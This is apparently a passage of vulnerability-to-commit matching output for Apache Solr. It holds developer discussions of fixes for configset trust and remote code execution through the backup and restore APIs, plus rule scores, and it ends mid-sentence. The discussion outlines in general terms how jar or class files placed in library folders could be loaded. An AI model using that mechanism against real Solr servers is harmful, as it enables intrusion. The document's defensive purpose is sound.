Solr installations with authentication and authorization, I thank Skay for his detailed report. Schema Designer blindly \"trusts\" potentially malicious configset Attaching a patch to fix this. All tests pass. I'm planning to commit this soon, would love to have someone review it. LGTM. go ahead and merge please Commit bf9ca1044b2eec234038c2c27ec7996d589bb8c8 in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=bf9ca1044b2 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Commit 17b32f9b59094cda22e9e43236c97a575a7e16a0 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=17b32f9b590 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Commit 0333862ad289d9f73c7c96e1d26ebe15e506a4aa in solr's branch refs/heads/branch_9_2 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=0333862ad28 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Thanks Skay, for reporting the bug as well as pointing towards the area of code containing the bug in your blog post! I have a question about the patch. Does this mean that everything the schema designer can never trust anything, even if it was uploaded by a trusted user? gus True. All unsafe features are disabled for any config that is uploaded over an API call Does this mean that everything the schema designer can never trust anything, even if it was uploaded by a trusted user? Yes. That is against the documentation for the trusted config set feature. I think the code should be determining if the user is trusted and then passing the correct value. Either one every time is wrong. The behavior should match config set upload. It's terribly confusing if nobody (trusted or untrusted) can use schema designer just because someone (trusted) uploaded a config set that requires trust previously... Because if the existing config that is being edited has \"trust required\" features\u00a0 and the user is editing something benign and unrelated to the \"trust required\" feature, this call will fail (unless I misunderstand) I think the code should be determining if the user is trusted and then passing the correct value. Sure, please feel free to re-open and add the check here. I hope all of this will become a non-issue once directives are gone ( SOLR-16781 ). Commit 9a4f4fff1cca1590eb039b521fb3f10abbdb62b3 in solr's branch refs/heads/branch_9_2 from Jan H\u00f8ydahl [ https://gitbox.apache.org/repos/asf?p=solr.git;h=9a4f4fff1cc ] SOLR-16777 Move changes entry from 9.2.1 to 9.2.2 Signed-off-by: Jan H\u00f8ydahl https://solr.apache.org/guide/solr/latest/configuration-guide/configsets-api.html#configsets-upload specifies two other features that also are only available with trusted configsets. is not the only issue. So unless the whole trusted config set feature is going away hard-coding a value seems to create a trap for the user. I don't have time to work on this right now, but I'm -1 on anything that makes schema designer (or any other feature) fail for unclear reasons. If the error message is clear enough, and the ref guide is updated to clarify the incompatibility of the listed \"trusted\" features with schema designer and we commit to doing something nicer in 9.3 I'll change that to -0.9, but it would be much better to be consistent with the existing feature. Security is important,\u00a0 but we shouldn't make our software trappy and hard to use either. security is not optional . Unsafe features should be removed as and when we find them I don't think this makes schema designer unusable at all. This is an extremely obscure feature that's carried forward from non cloud Solr Of course it's not optional, but usability isn't optional either. The fact that security is more important is why I am willing to put up with a well documented gotcha for the short term. Which feature are you referring to as carried forward. Schema designer appeared in 8.10 and trusted configsets first showed up\u00a0 in 8.4? (in documentation at least, I haven't figured out if trusted configsets were undocumented for a while before that) and other unsafe features mentioned in the configset upload API will generate an error (with the reason) when loaded from untrusted configsets. Those features shouldn't be used anyway, so if they dont work with schema designer, it is not the end of the world. Which feature are you referring to as carried forward I guess he's referring to and other insecure features (stateless script update processor?) etc. Also, the overlap of users using such obscure and advanced features and those using the schema designer will probably be negligible. Re-opening to make sure either Document in ref-guide that Schema Designer now can ONLY work on untrusted config sets OR Toggle safe/unsafe based on whether the call is authorized, like is done for configset-api +1 to what Gus said, and Jan's decision to reopen. Sure, please feel free to re-open and add the check here. Procedurally, responding to review this way feels...maybe not \"wrong\", but at least \"odd\". And maybe even slightly harmful? Obviously I'm not saying every last review comment needs addressed. Some are too minor or loosely held even by the reviewer. Often there's competing views, or a suggestion might deserve its own spinoff ticket, etc. That stuff happens all the time. But to seemingly agree after a few back-and-forth's (or at least acquiesce?) and still not incorporate the feedback - with no explanation - just feels a little weird. It discounts the time Gus and others put in to their reviews. And, longer term, it'd be natural for anyone reading here to hesitate before giving you a review the next time around. Which, it goes without saying, hurts everyone. ichattopadhyaya could you please at least explain why you don't care to incorporate Gus' feedback? Jason, please stop being so melodramatic. I'm on travel at the moment. I'll pick it up when I get some time. This is a volunteer driven project, so feel free to do something you expect me to do (which I will do). Btw, I agree with Jan's suggestion. I think we should rather add the check than explain why we don't. Fyi, Jason \ud83d\ude0a I think we should rather add the check than explain why we don't. +1 Jason, please stop being so melodramatic. I'm on travel at the moment Apologies for the \"melodrama,\" if that's how my comment came off. I wasn't trying to make a bigger thing of it than it is. I've been thinking a lot lately about how it's the unwritten rules and norms that allow our community to work at all. How we incorporate feedback is one of those. Those norms are just so, so important. That's all I was trying to get across. (And related - I think you're right - as important as it is, it's hard to elucidate or appeal to that sort of stuff without sounding like a crazy person catastrophizing or being melodramatic with some minuscule detail \ud83d\ude2c. So, I get that haha.) Anyways, I appreciate your clarifying that you intended to get to it in time . That's perfect. Have a safe trip! Any conclusion on this? It currently blocks 9.2.2 I'll take a look at this, latest by Thursday this week; Hopefully, that will be before the 9.3 release. I added a patch that should use the built-in trustedness of the configSet being used, when designing with the schema designer. If the user uploads a custom file to the configSet using the schema designer APIs, it can only remove the trust (if the user is not authenticated). It can never add trust to an untrusted configSet, because there is no way to replace all files using the schema designer APIs. (And we aren't going to give a whole configSet trust just because one file is now \"trusted\") I'm trying to get a release candidate out soon, so would appreciate anyone that could review the patch! The patch LGTM, with the small quibble that maybe we should document the \"final\" behavior around Schema Designer and trusted-ness in the ref-guide somewhere? LGTM. Summarized changes: ZkConfigSetService.java: The method signature of loadConfigSetFlags was modified to remove the CoreDescriptor parameter. ConfigSetService.java: Import of ZkSolrResourceLoader was removed. Two methods, isConfigSetTrusted(String name) and isConfigSetTrusted(SolrResourceLoader coreLoader), were added to check whether a given config set or a config set associated with a resource loader is trusted. In the loadConfigSet method, the check for a trusted config set was replaced with a call to the new isConfigSetTrusted method. The createSolrConfig method was updated to use the isConfigSetTrusted method for the trusted argument. The loadConfigSetFlags method was modified, similar to the change in ZkConfigSetService.java, to remove the CoreDescriptor parameter. ConfigSetAPIBase.java: The isTrusted method was made static, and its visibility was changed to public. The isCurrentlyTrusted method was removed. The method ensureOverwritingUntrustedConfigSet was updated to use configSetService.isConfigSetTrusted(configName) instead of isCurrentlyTrusted(configName). CreateConfigSetAPI.java: Updated to use configSetService.isConfigSetTrusted(createConfigPayload.baseConfigSet) instead of isCurrentlyTrusted(createConfigPayload.baseConfigSet). UploadConfigSetAPI.java: Updated to use configSetService.isConfigSetTrusted(configSetName) instead of isCurrentlyTrusted(configSetName). SchemaDesignerAPI.java: Updated to use the static isTrusted method from ConfigSetAPIBase.java. Also added logic to remove the trusted flag on the configSet if the request is untrusted. SchemaDesignerConfigSetHelper.java: Updated to load the Solr config with the trusted flag retrieved from isConfigSetTrusted. Added isConfigSetTrusted and removeConfigSetTrust methods. Trust is now determined based on the config set itself rather than on the loading process, and checks for trust have been centralized in the ConfigSetService class. Thank you very much, houston , for getting to this! I skimmed through the changes (still too busy to find time for a thorough review), and they look reasonable. Ok I cleaned it up a bit more and added docs. Will commit soon, after the tests pass. So we are going to need an 8.11.2 release for this, correct? I can volunteer for an 8x release containing this, immediately after 9.3 is out. Thanks Houston! Commit 35d352522df046aab9035d60806ababffa0f00e8 in solr's branch refs/heads/main from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=35d352522df ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust Commit 6b6e45a7c6e4f08fe1db951164ddab93809459db in solr's branch refs/heads/branch_9x from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=6b6e45a7c6e ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust (cherry picked from commit 35d352522df046aab9035d60806ababffa0f00e8) Commit d07751cfaa8065bea8bd43f59e758e50d50c2419 in solr's branch refs/heads/branch_9_3 from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d07751cfaa8 ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust (cherry picked from commit 35d352522df046aab9035d60806ababffa0f00e8) Closing after the 9.3.0 release Hi, was it fixed int he 8.11 line as well? No. I created backporting this as a blocker for 8.11.3: SOLR-16948 Commit 4ac1d59918c250bffb09899572bd92054cee063a in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=4ac1d59918c ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets The other fix here by Houston is still remaining. Working on it. houston , can you please review my changes to https://github.com/apache/lucene-solr/tree/jira/solr-16777-8x-backport branch? Patch file is here: https://github.com/apache/lucene-solr/commit/f9fdfc3863d436829e925acd2157e356205af929.diff I'm unable to raise a PR for it, GitHub shows me the following error: Pull request creation failed. Validation failed: must be a collaborator I wasn't able to port all the refactoring that the config sets codepaths has received in 9x, so doing a targeted fix here. That looks good, except that SchemaDesignerSettingsDAO.getSettings() is missing its change. Thanks for the quick review, Houston. Here's remaining change (another commit on the same branch): https://github.com/apache/lucene-solr/commit/a01567b6e5f49e9b9760c07d2c5db40e1255b150.diff +1 if everything passes Commit 6e9ed203b30958396bdfd41760d426b386646865 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=6e9ed203b30 ] SOLR-16777 : Schema Designer now correctly manages trust of the ConfigSets it is managing Co-authored-by: Houston Putman " + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "f9fdfc3863d436829e925acd2157e356205af929" + ], + [ + "no-tag", + "a01567b6e5f49e9b9760c07d2c5db40e1255b150" + ] + ], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + }, + { + "id": "XREF_BUG", + "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16777", + "relevance": 32 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: ZooKeeper, Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerAPI.java, solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java, solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerSettingsDAO.java, solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-16777 contains some security-related terms: unsafe, secure, security, insecure, malicious", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: handler", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16777", + "relevance": 2 + } + ] + }, + { + "commit_id": "6c8f24eb9e3fe1cb19058173f2e221de3febfeda", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1702888353, + "hunks": 13, + "message": "SOLR-16949: Fix inputstream leaks", + "changed_files": [ + "solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16949": "Before an 8.11.3 release, https://issues.apache.org/jira/browse/SOLR-16480 needs to be backported, thus creating this as a blocker. Here I am assuming that 8.x is vulnerable to the same attack, which should be investigated. RCE via Backup/Restore APIs - Fix for all file extensions See attached patch. It is not a back port of SOLR-16480 and is not for branch_8_11, but for main. It adds a file content MAGIC check for each location where we today call ZkMaintenanceUtils.isFileForbiddenInConfigSets() . I.e. it will peek inside each file and use \"libmagic\" style detection based on a config file in resources/magic folder. There exists thousands of matching rules for all kid of file formats (see https://github.com/file/file/tree/master/magic/Magdir ), but I copied rules for ZIP, TAR and CLASS, and made a simple regex rule for shell scripts. As an alternative to using the https://github.com/j256/simplemagic library (which is not super well maintained) would be to write our own detection rules in Java, which would not be too hard for JAR and CLASS which are the most important. This is definitely not a requirement for the change, but we should get rid of the file type extension stuff that I added in. Otherwise that looks like a really good patch, thanks for the awesome work here Jan! So we now have three options for safeguarding 8.11.3 against this attack: This patch (replacing filename suffix solution). It is way safer and I cannot think of a way an attacker could circumvent it, other than crafting a .jar or .class file that we cannot detect SOLR-16781 to feature toggle directives (keep old behavior by default) https://github.com/apache/solr/pull/2068 to feature toggle BACKUP to local file system (keep disabled by default) If we choose 1 we may not urgently need 2 or 3. But we may want to proceed with 2 for other reasons later. If we choose 2, we don't plug the hole by defualt but will need to document a recommendation to disable. If we choose 3 it will be a breaking change for users of BACKUP feature that needs to be documented. I choose Option 1 for all 8.11, 9.x, main Option 2 for 9.x, and remove in 10 If anyone wants to expedite this, feel free to grab this. I won't be able to continue until mid next week. > we should get rid of the file type extension stuff that I added in. Formally that cannot be removed until 10.0. We could document the deprecation of the extension feature together with this patch, and open a new Jira to remove the code in main. I won't be able to continue until mid next week. Would you be able to get to this soon? If so, I'll wait for you to get it in and then spin RC2. I can give backporting an attempt... Uploaded a patch for branch_8_11 SOLR-16949-8_11.patch It is based on the other patch, but with tweaks to make it fit the older codebase. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. ichattopadhyaya please take it for a spin if you like. So with this we fail fast if the configSet contains a sh, zip, jar, tar or class file When uploading configset with bin/solr When uploading configset through configset API When doing backup of a collection (skip file and warn, not abort) When restoring a configset from a backup into zookeeper (skip file and warn, not abort) The patch contains some tests but not extensive integration tests here. I have run the entire test suite with ant. No refguide or CHANGES so far. When reviewing, pay special attention to Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Should the backup/restore fail instead of just skip file and warn when an illegal file is detected? Try to customize solr.configset.upload.mimetypes.forbidden sysprop Based on review feedback I may help to refine a time or two before commit. Or feel free to revise the patch at your liking. When the 8.x patch is solid, we can update the main-branch patch with the latest changes. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. This also requires direct access to ZooKeeper, so I'm not nearly as concerned. We can really only control the Solr ConfigSets API as well as any downloading of Zookeeper data to disk (Backups) Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Ok I went ahead and tried this out, adding it as SOLR-16949 -main-protect-lib.patch This is independent of the other patch, but ultimately I think both should be merged. Thoughts? Thanks for review Houston. The protected lib technique is orthogonal and would definitely add another layer. Should that patch perhaps ripple down from main -> 9x -> 9.4.1 -> 8.11.3, or do\u00a0 you want to land it in 8.11.3 first? We urgently want to get 8.11.3 and 9.4.1 out the door, so I think it needs to land both places anyway. Thanks for agreeing Jan. If you have time to review, I'll make it ready for commit and then do the regular main -> 9x -> 9.4.1 -> 8.11.3 workflow. The protected path feature can be added in the open, right, as it does not reveal any undisclosed CVE to anyone, it is just an additional hardening against potential future undiscovered attacks. I'll try to review PRs. Hmm I guess, its a different way of solving the same vulnerability, so I'm not sure it can be done openly. Happy to make a public JIRA/PR if y'all think its ok. Added more tests, and fixed something that the tests found. It should be close to ready I think. I'm trying to get up to speed on what's happening here and I'm confused. \u00a0If the problem relates to being able to tell Solr to backup stuff to locations that shouldn't be (i.e. to places inside Solr), can't we have a simple allowList approach? \u00a0Maybe the parent issue SOLR-16480 is what matters and not this backport one? \u00a0I see my \"slippery slope\" comment there and it really still resonates me... we are going down a slippery slope alright. I'd appreciate it if you would expand on \"slippery slope\" when you use that phrase. I don't think having a list of \"protected paths\" that don't allow writes is anything crazy. I also think limiting the file types that we allow in configSets is perfectly acceptable. I have no issue with also adding an \"allowList\" for backups. The big difference being that this is back-compat for good-faith users for 9x and 8.11, whereas allowList wouldn't be. The slippery slope is a cat & mouse game with someone who observes these... what I consider band-aids, and sees something we missed, and this continues. \u00a0If we protect certain paths but forget one, is that then CVE worthy? \u00a0I'd argue instead that we should require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. \u00a0A similar mindset for file extensions if we want to block based on them. RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. \u00a0Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. \u00a0Maybe furthermore we shouldn't load libs from a \"/var\" path unless the configuration is explicit about using such a path. \u00a0Just brainstorming a bit. I don't think it hurts to add multiple layers of security. However, the root cause of this issue is that it is even allowed to define a file-system backup outside of the \"location\" that is defined in solr.xml as the backup repository location, see https://solr.apache.org/guide/solr/latest/deployment-guide/backup-restore.html#localfilesystemrepository What if we modified the LocalFileSystemRepository to restrict the backup location to be within the statically configured location? Then attackers whould need to figure out how to add that admin-decided location to classpath, or to create a core inside that location. Or something else. /solr/backup_data If we protect certain paths but forget one, is that then CVE worthy? With two layers of protection, I think we'd be pretty safe from having to issue another CVE, but obviously there is always the possibility. I'd argue instead that we should require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. The \"allowBackupPath\" you suggest is really close to the \"allowPaths\" logic we already have, however it really just adds \"SOLR_HOME\", \"SOLR_DATA_HOME\" and \"coreRootDirectory\". \"SOLR_DATA_HOME\" is fine, no libraries are loaded from there. \"SOLR_HOME\" has \"SOLR_HOME/lib\" and \"coreRootDirectory\" has \"coreRootDirectory/lib\". Lastly, \"sharedLib\" might be included under \"allowPaths\", so we can forbid that just for the sake of being cautious. The other logic in the protections merely exist to be extra cautious. Basically this is one less configuration a user needs to care about, but adds extra checks to make sure they can't shoot themselves in the foot. (e.g. even if the \"allowBackupPath\" option existed, they could set it to a folder that included their SOLR_HOME, which would make them vulnerable) That's basically what this PR is, although extra protected paths have been added just to be extra cautious RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. I agree for a minor version, but this would be a fairly big change for users in a patch change, especially when there are options that aren't back-compat breaking. Users using an \"8.11\" docker image, to auto-receive security updates, would see their backups start failing automatically. Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. I don't like the ideas of defaults when Solr has no guidelines for how a filesystem should be setup. Using \"/var\" as a default wouldn't work because the SOLR_HOME/lib and SOLR_CORE/lib could easily be under \"/var\", like they are in the Docker image. Looks good Jan. And maybe the \"slipper slope\" metaphor isn't the right metaphor Jan, I think making the location required going forward is a good idea. And all paths provided in the API would need to be relative to that location (without \"../\"). But I think for 8.11 at least (and probably 9.4.1), we would need to protect without making \"location\" mandatory. (As I've mentioned before). Did some basic cleanup of the 8.11 patch, added some javadoc, when traversing folders, skip only \".\" and \"..\", not every folder starting with a \".\". Ran \"ant precommit\". Do you have a suggestion for CHANGES.txt entry and JIRA number to use? Looks good to me Jan. I would use this JIRA. And something simple like \"Restrict certain file types from being uploaded with or downloaded from Config Sets.\" Pushed to branch_8_11 in https://github.com/apache/lucene-solr/commit/7e9a2e67f812032a049836c3aa0b18bf5cd717f9 I have updated the patch for main branch with latest updates from 8.11 patch: SOLR-16949.patch Precommit passes and I am ready to merge. Do we want to avoid the extra publicity that a PR gives, by pushing directly from the command line? If so, I'm grateful for a patch review of the updated patch. Note: I kept the patch from SOLR-16480 intact, but we could do another JIRA to remove that filename-suffix feature from main branch after this has landed. That patch for main looks good to me Jan, I would push directly to main (and backport of course) without PRs. As for SOLR-16480 , I do think we should have a Jira to remove that in main, after this has landed. main: https://github.com/apache/solr/commit/15534754f492079e52288dd11abaf1c4261b3ea4 branch_9x: https://github.com/apache/solr/commit/644dd3a6d6780d71030f7070754d2f3adce22859 branch_9_4: https://github.com/apache/solr/commit/ad6854b04361e351e08aa8f39fb7ff0e8fedc9a2 There's some local (and Jenkins) test failures that look related to this change, particularly in TestConfigSetService and TestFileSystemConfigSetService. See this Jenkins build for an example. (I've also attached the Jenkins logs, so they're preserved after our build-retention rolls over.) jenkins.log.txt.gz At a glance it looks like the problem is that this change introduces some InputStream leaks ] in our ConfigSet code. Seems like a simple-ish fix? I suspect one of you guys might already be aware of this and working on a fix, and I don't want to duplicate effort. But if you aren't already on it, lmk and I can toss a fix together. Yea, looks like some careless stream handling there. Taking a look. Fix in SOLR-16949-inputstream-leaks.patch . This patch passes Path objects instead of InputStream and also uses the File and byte[] methods of SimpleMagic library instead of always converting to InputStream. Also streamlines tests with try-with-resources. I ran the entire test suite locally, so committed right away: main: https://github.com/apache/solr/commit/c89813a675663bb82f18236840b2a84cac05e1ee branch_9x: https://github.com/apache/solr/commit/c79011e81dada2f9bc4b4df32ffb32152ef81152 branch_9_4: https://github.com/apache/solr/commit/ce2813c97f70b5e83ece80455aad74a1fd7eeca6 A belated LGTM on the resource-leak fix; thanks Jan! Yep, looks good. Doesn't look like branch_8_11 code is directly using the same code, except some tests that may be leaking streams. I'll have a look at pushing a patch to that branch too. Backport of inputstream handling to branch_8_11: https://github.com/apache/lucene-solr/commit/6c8f24eb9e3fe1cb19058173f2e221de3febfeda Closing after the 9.4.1 release" + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + }, + { + "id": "XREF_BUG", + "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949", + "relevance": 32 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: stream", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16949", + "relevance": 2 + } + ] + }, + { + "commit_id": "7e9a2e67f812032a049836c3aa0b18bf5cd717f9", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1702461407, + "hunks": 16, + "message": "SOLR-16949: Restrict certain file types from being uploaded to or downloaded from Config Sets", + "changed_files": [ + "lucene/ivy-versions.properties", + "solr/core/ivy.xml", + "solr/core/src/java/org/apache/solr/core/backup/BackupManager.java", + "solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java", + "solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java", + "solr/core/src/java/org/apache/solr/util/SolrCLI.java", + "solr/core/src/resources/magic/executables", + "solr/core/src/test-files/magic/HelloWorldJavaClass.class.bin", + "solr/core/src/test-files/magic/hello.tar.bin", + "solr/licenses/simplemagic-1.17.jar.sha1", + "solr/solrj/src/java/org/apache/solr/common/cloud/ZkMaintenanceUtils.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16949": "Before an 8.11.3 release, https://issues.apache.org/jira/browse/SOLR-16480 needs to be backported, thus creating this as a blocker. Here I am assuming that 8.x is vulnerable to the same attack, which should be investigated. RCE via Backup/Restore APIs - Fix for all file extensions See attached patch. It is not a back port of SOLR-16480 and is not for branch_8_11, but for main. It adds a file content MAGIC check for each location where we today call ZkMaintenanceUtils.isFileForbiddenInConfigSets() . I.e. it will peek inside each file and use \"libmagic\" style detection based on a config file in resources/magic folder. There exists thousands of matching rules for all kid of file formats (see https://github.com/file/file/tree/master/magic/Magdir ), but I copied rules for ZIP, TAR and CLASS, and made a simple regex rule for shell scripts. As an alternative to using the https://github.com/j256/simplemagic library (which is not super well maintained) would be to write our own detection rules in Java, which would not be too hard for JAR and CLASS which are the most important. This is definitely not a requirement for the change, but we should get rid of the file type extension stuff that I added in. Otherwise that looks like a really good patch, thanks for the awesome work here Jan! So we now have three options for safeguarding 8.11.3 against this attack: This patch (replacing filename suffix solution). It is way safer and I cannot think of a way an attacker could circumvent it, other than crafting a .jar or .class file that we cannot detect SOLR-16781 to feature toggle directives (keep old behavior by default) https://github.com/apache/solr/pull/2068 to feature toggle BACKUP to local file system (keep disabled by default) If we choose 1 we may not urgently need 2 or 3. But we may want to proceed with 2 for other reasons later. If we choose 2, we don't plug the hole by defualt but will need to document a recommendation to disable. If we choose 3 it will be a breaking change for users of BACKUP feature that needs to be documented. I choose Option 1 for all 8.11, 9.x, main Option 2 for 9.x, and remove in 10 If anyone wants to expedite this, feel free to grab this. I won't be able to continue until mid next week. > we should get rid of the file type extension stuff that I added in. Formally that cannot be removed until 10.0. We could document the deprecation of the extension feature together with this patch, and open a new Jira to remove the code in main. I won't be able to continue until mid next week. Would you be able to get to this soon? If so, I'll wait for you to get it in and then spin RC2. I can give backporting an attempt... Uploaded a patch for branch_8_11 SOLR-16949-8_11.patch It is based on the other patch, but with tweaks to make it fit the older codebase. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. ichattopadhyaya please take it for a spin if you like. So with this we fail fast if the configSet contains a sh, zip, jar, tar or class file When uploading configset with bin/solr When uploading configset through configset API When doing backup of a collection (skip file and warn, not abort) When restoring a configset from a backup into zookeeper (skip file and warn, not abort) The patch contains some tests but not extensive integration tests here. I have run the entire test suite with ant. No refguide or CHANGES so far. When reviewing, pay special attention to Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Should the backup/restore fail instead of just skip file and warn when an illegal file is detected? Try to customize solr.configset.upload.mimetypes.forbidden sysprop Based on review feedback I may help to refine a time or two before commit. Or feel free to revise the patch at your liking. When the 8.x patch is solid, we can update the main-branch patch with the latest changes. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. This also requires direct access to ZooKeeper, so I'm not nearly as concerned. We can really only control the Solr ConfigSets API as well as any downloading of Zookeeper data to disk (Backups) Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Ok I went ahead and tried this out, adding it as SOLR-16949 -main-protect-lib.patch This is independent of the other patch, but ultimately I think both should be merged. Thoughts? Thanks for review Houston. The protected lib technique is orthogonal and would definitely add another layer. Should that patch perhaps ripple down from main -> 9x -> 9.4.1 -> 8.11.3, or do\u00a0 you want to land it in 8.11.3 first? We urgently want to get 8.11.3 and 9.4.1 out the door, so I think it needs to land both places anyway. Thanks for agreeing Jan. If you have time to review, I'll make it ready for commit and then do the regular main -> 9x -> 9.4.1 -> 8.11.3 workflow. The protected path feature can be added in the open, right, as it does not reveal any undisclosed CVE to anyone, it is just an additional hardening against potential future undiscovered attacks. I'll try to review PRs. Hmm I guess, its a different way of solving the same vulnerability, so I'm not sure it can be done openly. Happy to make a public JIRA/PR if y'all think its ok. Added more tests, and fixed something that the tests found. It should be close to ready I think. I'm trying to get up to speed on what's happening here and I'm confused. \u00a0If the problem relates to being able to tell Solr to backup stuff to locations that shouldn't be (i.e. to places inside Solr), can't we have a simple allowList approach? \u00a0Maybe the parent issue SOLR-16480 is what matters and not this backport one? \u00a0I see my \"slippery slope\" comment there and it really still resonates me... we are going down a slippery slope alright. I'd appreciate it if you would expand on \"slippery slope\" when you use that phrase. I don't think having a list of \"protected paths\" that don't allow writes is anything crazy. I also think limiting the file types that we allow in configSets is perfectly acceptable. I have no issue with also adding an \"allowList\" for backups. The big difference being that this is back-compat for good-faith users for 9x and 8.11, whereas allowList wouldn't be. The slippery slope is a cat & mouse game with someone who observes these... what I consider band-aids, and sees something we missed, and this continues. \u00a0If we protect certain paths but forget one, is that then CVE worthy? \u00a0I'd argue instead that we should 